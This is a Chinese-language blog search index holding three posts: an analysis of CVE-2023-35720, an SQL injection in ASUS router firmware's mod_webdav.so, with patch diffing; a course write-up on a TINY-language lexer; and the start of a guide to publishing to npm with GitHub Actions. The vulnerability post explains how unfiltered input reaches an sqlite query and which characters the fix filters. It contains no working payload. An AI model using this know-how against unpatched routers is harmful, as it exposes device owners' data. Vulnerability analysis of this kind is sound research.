-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsearch.xml
2902 lines (2648 loc) · 573 KB
/
search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>CVE-2023-35720 华硕路由器SQL注入漏洞分析</title>
<url>/posts/CVE-2023-35720-analysis/</url>
<content><![CDATA[<p>本文对华硕路由器中一个SQL注入漏洞做了简单的分析,希望能对和我一样的小白有所帮助。</p>
<h2 id="漏洞描述"><a href="#漏洞描述" class="headerlink" title="漏洞描述"></a>漏洞描述</h2><p>CVE-2023-35720 允许近源攻击者披露受影响的华硕 RT-AX92U 等路由器上的敏感信息。利用此漏洞无需经过鉴权。</p>
<p>该漏洞存在于 mod_webdav.so 模块中。解析请求时,该程序在使用用户提供的字符串构建 SQL 查询语句之前,未正确验证该字符串。攻击者可利用此漏洞在 root 上下文中披露信息。</p>
<h2 id="固件信息"><a href="#固件信息" class="headerlink" title="固件信息"></a>固件信息</h2><ul>
<li><a href="https://dlcdnets.asus.com.cn/pub/ASUS/wireless/RT-AX56U/FW_RT_AX56U_300438651665.zip?model=RT-AX56U">ASUS RT-AX56U 固件版本 3.0.0.4.386.51665(影响最高版本)</a></li>
<li><a href="https://dlcdnets.asus.com.cn/pub/ASUS/wireless/RT-AX56U/FW_RT_AX56U_300438651679.zip?model=RT-AX56U">ASUS RT-AX56U 固件版本 3.0.0.4.386_51679(修复版本)</a></li>
</ul>
<h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p><strong>RT-AX56U</strong> 受影响的最高固件版本为 RT-AX56U 3.0.0.4.386.51665。</p>
<p>分析该版本 mod_webdav.so:</p>
<p><img src="https://bu.dusays.com/2024/08/16/66bf4e8550197.png" class="lazyload" data-srcset="https://bu.dusays.com/2024/08/16/66bf4e8550197.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="><br>调用<code>array_get_element</code>获取Keyword参数</p>
<p><img src="https://bu.dusays.com/2024/08/16/66bf4f03e3600.png" class="lazyload" data-srcset="https://bu.dusays.com/2024/08/16/66bf4f03e3600.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="><br>校验了长度和不含<code>'</code>。</p>
<p><img src="https://bu.dusays.com/2024/08/16/66bf4e948d198.png" class="lazyload" data-srcset="https://bu.dusays.com/2024/08/16/66bf4e948d198.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="><br>替换<code>*</code>为<code>%</code>,替换<code>?</code>为<code>_</code>。</p>
<p><img src="https://bu.dusays.com/2024/08/16/66bf4ea58e214.png" class="lazyload" data-srcset="https://bu.dusays.com/2024/08/16/66bf4ea58e214.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="><br>根据不同情况,会拼接到不同的查询语句。</p>
<p><img src="https://bu.dusays.com/2024/08/16/66bf4eb2c2a5b.png" class="lazyload" data-srcset="https://bu.dusays.com/2024/08/16/66bf4eb2c2a5b.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="><br><code>sql_get_table</code>示例用法:</p>
<figure class="highlight c"><table><tbody><tr><td class="code"><pre><span class="line">sql_get_table(db, <span class="string">"SELECT * FROM sqlite_master where type='table' and name='LiewenMes'"</span>, &dbResult, &nRow, &nColumn, <span class="literal">NULL</span>);</span><br></pre></td></tr></tbody></table></figure>
<p>第二个参数为查询语句<br>该函数在 libbwdpi_sql.so 和 liblightsql.so 中都有定义:</p>
<p><img src="https://bu.dusays.com/2024/08/16/66bf4ebd47dc0.png" class="lazyload" data-srcset="https://bu.dusays.com/2024/08/16/66bf4ebd47dc0.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></p>
<p>因此程序最后将拼接得到的语句作为查询语句在 sqlite 中执行。</p>
<p>可见漏洞的成因主要是获取用户输入后只进行了简单的过滤就拼接到 SQL 语句执行,造成 SQL 注入。</p>
<h2 id="补丁分析"><a href="#补丁分析" class="headerlink" title="补丁分析"></a>补丁分析</h2><p>修复版本为 RT-AX56U 3.0.0.4.386_51679。</p>
<p>使用 bindiff 比较两个版本的 mod_webdav.so :</p>
<p><img src="https://bu.dusays.com/2024/08/16/66bf4eca3e572.png" class="lazyload" data-srcset="https://bu.dusays.com/2024/08/16/66bf4eca3e572.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></p>
<p>发现显著的不同是多了一个<code>is_valid_string</code>函数。</p>
<p><img src="https://bu.dusays.com/2024/08/16/66bf4ed9c253e.png" class="lazyload" data-srcset="https://bu.dusays.com/2024/08/16/66bf4ed9c253e.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="><br>用这个函数替代了之前对<code>'</code>的校验。</p>
<p>在新版本固件文件系统中寻找该符号:</p>
<figure class="highlight bash"><table><tbody><tr><td class="code"><pre><span class="line">$ grep -r <span class="string">'is_valid_string'</span></span><br><span class="line">Binary file usr/sbin/lighttpd matches</span><br><span class="line">Binary file usr/lib/mod_smbdav.so matches</span><br><span class="line">Binary file usr/lib/mod_webdav.so matches</span><br></pre></td></tr></tbody></table></figure>
<p>而旧版本中没有这个符号。<br>在 lighttpd 中发现该函数定义:</p>
<p><img src="https://bu.dusays.com/2024/08/16/66bf4ee64352b.png" class="lazyload" data-srcset="https://bu.dusays.com/2024/08/16/66bf4ee64352b.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></p>
<p>发现过滤了<code>"</code>, <code>$</code>, <code>`</code> ,<code>;</code>, <code>'</code> 字符。<br>这样的过滤够不够呢……取决于程序实现吧,在mod_webdav.so中用户输入在拼接成SQL语句时基本都用<code>''</code>包裹,没包裹的也是数字。</p>
<p><strong>调用</strong><code>sql_get_table</code>函数的只有mod_webdav.so,因此该固件中应该不再存在<strong>类似成因</strong>的SQL注入漏洞。</p>
<h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2><p>之前分析 IoT 漏洞基本专注于命令注入和栈溢出,SQL注入漏洞分析较少,因此写下本文记录。<br>后续有时间可以再<a href="https://www.iotsec-zone.com/article/304">模拟</a>一下华硕路由器,做漏洞的复现。</p>
]]></content>
<categories>
<category>IoT安全</category>
</categories>
<tags>
<tag>CVE</tag>
<tag>ASUS</tag>
<tag>路由器</tag>
<tag>nday</tag>
</tags>
</entry>
<entry>
<title>TINY Scanner开发文档</title>
<url>/posts/TINY-Scanner/</url>
<content><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>NIS2336编译原理课程的大(?)作业。<span id="more"></span></p>
<p>代码仓库:</p>
<div class="tag link"><a class="link-card" title="NIS2336_lexical_analysis" href="https://github.com/BeaCox/NIS2336_lexical_analysis"><div class="left"><img src="https://github.githubassets.com/favicons/favicon.svg" class="lazyload" data-srcset="https://github.githubassets.com/favicons/favicon.svg" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></div><div class="right"><p class="text">NIS2336_lexical_analysis</p><p class="url">https://github.com/BeaCox/NIS2336_lexical_analysis</p></div></a></div>
<p>要求如下:</p>
<h3 id="前期准备"><a href="#前期准备" class="headerlink" title="前期准备"></a>前期准备</h3><p>了解TINY language语言,并能用TINY language写较简单的程序;<br>掌握词法分析的步骤方法,能根据程序段模拟自动机的分析过程生成token序列。</p>
<h3 id="TINY-language词法分析功能说明"><a href="#TINY-language词法分析功能说明" class="headerlink" title="TINY language词法分析功能说明"></a>TINY language词法分析功能说明</h3><p>TINY language语言的词法单元:</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="default"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t20250528/202950/18/35758/12997/6474b236F007bf7d3/31aba0e5087ac301.png" data-fancybox="default" data-caption="词法单元"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t20250528/202950/18/35758/12997/6474b236F007bf7d3/31aba0e5087ac301.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t20250528/202950/18/35758/12997/6474b236F007bf7d3/31aba0e5087ac301.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="词法单元"></a><span class="image-caption">词法单元</span></div></div>
<p> 文件global.h中定义了所有的词法单元类型TokenType,并在lexer.h中声明。本次实验要求在读懂lexer.c中已有代码的基础上完善补全lexer.c中的主函数getToken(void),该函数通过判断当前状态并根据当前读入的词法单元来输出当前读入词法单元的token,并更新状态和词法单元,根据给出代码中的示例补全switch语句中case为其他状态时的情况。</p>
<h3 id="处理结果要求"><a href="#处理结果要求" class="headerlink" title="处理结果要求"></a>处理结果要求</h3><p>给定一段符合TINY language语法的代码,写成.tny文件,放在build\test文件夹内。要求程序能够输出这段代码的每一行,在每一行的后面输出这一行所有词法单元的token。</p>
<p>示例输入和输出如下所示:</p>
<figure class="highlight plaintext"><table><tbody><tr><td class="code"><pre><span class="line">read x</span><br><span class="line"></span><br><span class="line">if 0 < x then </span><br><span class="line"></span><br><span class="line"> fac := 1</span><br><span class="line"></span><br><span class="line"> repeat</span><br><span class="line"></span><br><span class="line"> fact := fact * x</span><br><span class="line"></span><br><span class="line"> x := x – 1 until x = 0</span><br><span class="line"></span><br><span class="line"> write fac</span><br><span class="line"></span><br><span class="line">end</span><br></pre></td></tr></tbody></table></figure>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="default"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t20250528/210077/11/35347/15660/6474b26cFbc20fc61/3d0989a21c5b063a.jpg" data-fancybox="default" data-caption="example1"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t20250528/210077/11/35347/15660/6474b26cFbc20fc61/3d0989a21c5b063a.jpg" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t20250528/210077/11/35347/15660/6474b26cFbc20fc61/3d0989a21c5b063a.jpg" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="example1"></a><span class="image-caption">example1</span></div><p></p><p></p><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t20250528/119582/34/36885/18294/6474b289F233daf4c/08d352815bc9a362.jpg" data-fancybox="default" data-caption="example2"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t20250528/119582/34/36885/18294/6474b289F233daf4c/08d352815bc9a362.jpg" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t20250528/119582/34/36885/18294/6474b289F233daf4c/08d352815bc9a362.jpg" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="example2"></a><span class="image-caption">example2</span></div></div>
<h3 id="提交要求和方法"><a href="#提交要求和方法" class="headerlink" title="提交要求和方法"></a>提交要求和方法</h3><p> 本次实验只对lexer.c进行修改,其他文件不进行修改。在提交时只需将修改完善后的lexer.c上传即可。</p>
<h2 id="DFA"><a href="#DFA" class="headerlink" title="DFA"></a>DFA</h2><div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="default"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t20250528/114300/2/39521/24786/6474b260Fae367d1e/3a09aa34620c1b2b.jpg" data-fancybox="default" data-caption="DFA"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t20250528/114300/2/39521/24786/6474b260Fae367d1e/3a09aa34620c1b2b.jpg" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t20250528/114300/2/39521/24786/6474b260Fae367d1e/3a09aa34620c1b2b.jpg" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="DFA"></a><span class="image-caption">DFA</span></div></div>
<p>开始状态为<code>START</code>,终止状态为<code>DONE</code>。<br>从<code>START</code>状态转移到下一个状态,只需要判定下一个读入的字符即可。</p>
<h2 id="ERROR"><a href="#ERROR" class="headerlink" title="ERROR"></a>ERROR</h2><p>从图中可以看到,没有将词法错误<code>ERROR</code>单独作为一个状态来参与状态转移。接下来我们考虑发生<code>ERROR</code>的两种情况:</p>
<ol>
<li>读入的第一个字符不是<code>{</code>、数字、字母、<code>:</code>以及TINY允许的运算符,则当前字符发生<code>ERROR</code>。</li>
<li>读入的第一个字符是<code>:</code>,但是第二个字符不是<code>=</code>,则上一个字符(<code>:</code>)发生<code>ERROR</code>。</li>
</ol>
<h3 id="Code"><a href="#Code" class="headerlink" title="Code"></a>Code</h3><p>1. </p>
<figure class="highlight c"><table><tbody><tr><td class="code"><pre><span class="line"><span class="keyword">else</span></span><br><span class="line">{</span><br><span class="line"> <span class="keyword">switch</span> (c)</span><br><span class="line"> {</span><br><span class="line"> ...</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> state = DONE;</span><br><span class="line"> currentToken = ERROR;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></tbody></table></figure>
<p> <code>save</code>此时为默认值<code>true</code>,将当前读入的(错误)字符保存以备输出</p>
<p>2. </p>
<figure class="highlight c"><table><tbody><tr><td class="code"><pre><span class="line"><span class="keyword">case</span> INASSIGN:</span><br><span class="line"> state = DONE;</span><br><span class="line"> <span class="keyword">if</span> (c == <span class="string">'='</span>)</span><br><span class="line"> currentToken = ASSIGN;</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> { <span class="comment">/* backup in the input */</span></span><br><span class="line"> ungetNextChar();</span><br><span class="line"> save = FALSE;</span><br><span class="line"> currentToken = ERROR;</span><br><span class="line"> }</span><br></pre></td></tr></tbody></table></figure>
<p> 若进入<code>INASSIGN</code>后(即读入<code>:</code>后),读入的字符不是<code>=</code>,发生了错误。<br> 调用<code>ungetNextChar()</code>回退一个字符,令该字符参与下一轮的扫描。<br> <code>save</code>置为<code>false</code>,因为发生错误的是前一个字符<code>:</code>,而不是当前读入的字符。</p>
<h2 id="Lexeme"><a href="#Lexeme" class="headerlink" title="Lexeme"></a>Lexeme</h2><p>从示例图的预期输出以及<code>util.c</code>中的<code>printToken()</code>函数可知:</p>
<p>当词法单元类型为<code>Reserved Words</code>, <code>ID</code>, <code>NUM</code>或<code>ERROR</code>时,需要输出其对应的词素。因此在编写程序时,当遇到这几种词法单元,需要将读入的字符逐个保存,以便在到达<code>DONE</code>状态时输出。</p>
<h3 id="Code-1"><a href="#Code-1" class="headerlink" title="Code"></a>Code</h3><figure class="highlight c"><table><tbody><tr><td class="code"><pre><span class="line"><span class="comment">/* lexeme of identifier or reserved word */</span></span><br><span class="line"><span class="type">char</span> tokenString[MAXTOKENLEN + <span class="number">1</span>];</span><br></pre></td></tr></tbody></table></figure>
<p>定义了一个名为<code>tokenString</code>的字符数组,用来保存上述情况下的词素。</p>
<figure class="highlight c"><table><tbody><tr><td class="code"><pre><span class="line"><span class="type">int</span> tokenStringIndex = <span class="number">0</span>;</span><br></pre></td></tr></tbody></table></figure>
<p>每一轮扫描会将字符数组的索引置零,以便保存新的词素。</p>
<figure class="highlight c"><table><tbody><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (state == DONE)</span><br><span class="line">{</span><br><span class="line"> tokenString[tokenStringIndex] = <span class="string">'\0'</span>;</span><br><span class="line"> <span class="keyword">if</span> (currentToken == ID)</span><br><span class="line"> currentToken = reservedLookup(tokenString);</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure>
<p>每一轮扫描结束在字符数组结尾加上终止符<code>\0</code>,因为本轮保存的字符串长度可能小于上一轮保存的字符串长度,这样做可以避免上一轮保存的字符串影响这一轮的输出。</p>
<figure class="highlight c"><table><tbody><tr><td class="code"><pre><span class="line"><span class="comment">/* flag to indicate save to tokenString */</span></span><br><span class="line"><span class="type">int</span> save;</span><br></pre></td></tr></tbody></table></figure>
<p>定义了一个整型变量<code>save</code>(实际当作布尔型用),用来指示当前读入的字符是否需要保存到<code>tokenString</code>。<br>在每一轮循环的开始,即每读入一个新的字符后,<code>save</code>都被置为<code>true</code>,默认要保存该字符。</p>
<figure class="highlight c"><table><tbody><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> ((save) && (tokenStringIndex <= MAXTOKENLEN))</span><br><span class="line"> tokenString[tokenStringIndex++] = (<span class="type">char</span>)c;</span><br></pre></td></tr></tbody></table></figure>
<p>每一轮循环的尾部,如果<code>save</code>为<code>true</code>,将当前读入的字符保存到<code>tokenString</code>尾部。</p>
<p>实际上,只有进入<code>INID</code>、<code>INNUM</code>、<code>INASSIGN</code>或读入的字符非预期时,才需要保存读入的一串字符。下面我们逐个情况讨论:</p>
<ol>
<li><p>进入<code>INID</code></p>
<figure class="highlight c"><table><tbody><tr><td class="code"><pre><span class="line"><span class="keyword">else</span> <span class="keyword">if</span> (<span class="built_in">isalpha</span>(c))</span><br><span class="line"> state = INID;</span><br></pre></td></tr></tbody></table></figure>
<p>从<code>START</code>转移到<code>INID</code>时,仅仅转移状态,<code>save</code>仍为默认值<code>true</code></p>
<figure class="highlight c"><table><tbody><tr><td class="code"><pre><span class="line"><span class="keyword">case</span> INID:</span><br><span class="line"> <span class="keyword">if</span> (!<span class="built_in">isalpha</span>(c))</span><br><span class="line"> { <span class="comment">/* backup in the input */</span></span><br><span class="line"> ungetNextChar();</span><br><span class="line"> save = FALSE;</span><br><span class="line"> state = DONE;</span><br><span class="line"> currentToken = ID;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">break</span>;</span><br></pre></td></tr></tbody></table></figure>
<p>进入<code>INID</code>后,当且仅当读入非字母时扫描结束。<br>此时调用<code>ungetNextChar()</code>函数回退一个字符,令该字符参与下一轮的扫描。<br><code>save</code>置为<code>false</code>表示当前读入的字符不是该轮扫描所得词素的一部分。</p>
</li>
<li><p>进入<code>INNUM</code></p>
<p>实现方法与情况1一致</p>
</li>
<li><p>在前文讨论<code>ERROR</code>时已给出</p>
</li>
<li><p>在前文讨论<code>ERROR</code>时已给出</p>
</li>
</ol>
<h2 id="Reserved-Words"><a href="#Reserved-Words" class="headerlink" title="Reserved Words"></a>Reserved Words</h2><p><code>Reserved Words</code>和<code>ID</code>的区别在于:前者由TINY语言预定义,后者由程序员自定义。因此,不严谨地说,<code>Reserved Words</code>也是一种<code>ID</code>。这样,我们可以很自然地将<code>Reserved Words</code>与<code>ID</code>的扫描合并。</p>
<p>具体来说,当读入第一个字符为字母的时候,进入<code>INID</code>状态。在遇到非字母字符时才能转移到<code>DONE</code>状态,在这之前我们都无法确认读入的字符串(即词素)是否是<code>Reserved Words</code>。因此在<code>INID</code>状态期间我们将二者一视同仁,而在转移到<code>DONE</code>状态后对二者进行区分。换句话说,判断读入的词素是否是<code>Reserved Words</code>。</p>
<p>前文说到,当词法单元类型为<code>Reserved Words</code>或<code>ID</code>(亦即进入<code>INID</code>状态)时,我们需要将读入的词素保存。我们在一个包含所有<code>Reserved Words</code>键值对的表进行查找匹配,若保存的词素与表中的词素相同,则返回相应的词法单元,否则表明该词素对应的词法单元为<code>ID</code>。</p>
<h3 id="Code-2"><a href="#Code-2" class="headerlink" title="Code"></a>Code</h3><figure class="highlight c"><table><tbody><tr><td class="code"><pre><span class="line"><span class="comment">/* lookup table of reserved words */</span></span><br><span class="line"><span class="type">static</span> <span class="class"><span class="keyword">struct</span></span></span><br><span class="line"><span class="class">{</span></span><br><span class="line"> <span class="type">char</span> *str;</span><br><span class="line"> TokenType tok;</span><br><span class="line">} reservedWords[MAXRESERVED] = {{<span class="string">"if"</span>, IF}, {<span class="string">"then"</span>, THEN}, {<span class="string">"else"</span>, ELSE}, {<span class="string">"end"</span>, END}, {<span class="string">"repeat"</span>, REPEAT}, {<span class="string">"until"</span>, UNTIL}, {<span class="string">"read"</span>, READ}, {<span class="string">"write"</span>, WRITE}};</span><br></pre></td></tr></tbody></table></figure>
<p>定义了一个关键字的字典。</p>
<figure class="highlight c"><table><tbody><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (state == DONE)</span><br><span class="line">{</span><br><span class="line"> tokenString[tokenStringIndex] = <span class="string">'\0'</span>;</span><br><span class="line"> <span class="keyword">if</span> (currentToken == ID)</span><br><span class="line"> currentToken = reservedLookup(tokenString);</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure>
<p>当一轮扫描结束时,如果读入的词素被判定为<code>ID</code>(即该轮扫描经过了<code>INID</code>到<code>DONE</code>的状态转移),则在关键字字典中查找该轮保存的词素。如果查找到,返回相应的词法单元类型;如果未找到,返回<code>ID</code>。</p>
]]></content>
<categories>
<category>项目</category>
</categories>
<tags>
<tag>编译原理</tag>
</tags>
</entry>
<entry>
<title>利用GitHub Actions自动发布你的静态资源到npm</title>
<url>/posts/action-npm/</url>
<content><![CDATA[<p>苦于GitHub Page和Vercel的本地资源加载速度,我和<a href="https://felixchen0707.cn/">Felix</a>一直在寻找各种静态资源的公共CDN。然而这些资源并不能很好满足我们的需求,因此想到利用npm包在国内的镜像来作为我们所需静态资源的CDN。我们同时想将这些静态资源托管在GitHub并发布到npm,这样一来手动操作就效率极低。<span id="more"></span>懒,也就成了这篇文章的第一驱动力。</p>
<h2 id="注册npm并生成token"><a href="#注册npm并生成token" class="headerlink" title="注册npm并生成token"></a>注册npm并生成token</h2><div class="tag link"><a class="link-card" title="npm注册界面" href="https://www.npmjs.com/signup"><div class="left"><img src="https://static.npmjs.com/7a7ffabbd910fc60161bc04f2cee4160.png" class="lazyload" data-srcset="https://static.npmjs.com/7a7ffabbd910fc60161bc04f2cee4160.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></div><div class="right"><p class="text">npm注册界面</p><p class="url">https://www.npmjs.com/signup</p></div></a></div>
<p>点击链接进入npm注册界面,注册一个账号。</p>
<p>按下图所示生成一个token,并记录下来:</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="one"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/119908/4/17413/99433/634eaf6bE2aa54a1f/42a001b1b30db4b3.png" data-fancybox="one" data-caption="点击头像,Access Tokens"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/119908/4/17413/99433/634eaf6bE2aa54a1f/42a001b1b30db4b3.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/119908/4/17413/99433/634eaf6bE2aa54a1f/42a001b1b30db4b3.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="点击头像,Access Tokens"></a><span class="image-caption">点击头像,Access Tokens</span></div></div>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="one"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/179540/12/29089/56275/634eaf7dEc056852c/cef407d83814a511.png" data-fancybox="one" data-caption="点击Generate New Token"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/179540/12/29089/56275/634eaf7dEc056852c/cef407d83814a511.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/179540/12/29089/56275/634eaf7dEc056852c/cef407d83814a511.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="点击Generate New Token"></a><span class="image-caption">点击Generate New Token</span></div></div>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="one"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/130608/21/31527/115174/634eaf98E197ea75c/610c83ebefd8b63e.png" data-fancybox="one" data-caption="填一个备注,选择automation,点击generate"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/130608/21/31527/115174/634eaf98E197ea75c/610c83ebefd8b63e.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/130608/21/31527/115174/634eaf98E197ea75c/610c83ebefd8b63e.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="填一个备注,选择automation,点击generate"></a><span class="image-caption">填一个备注,选择automation,点击generate</span></div></div>
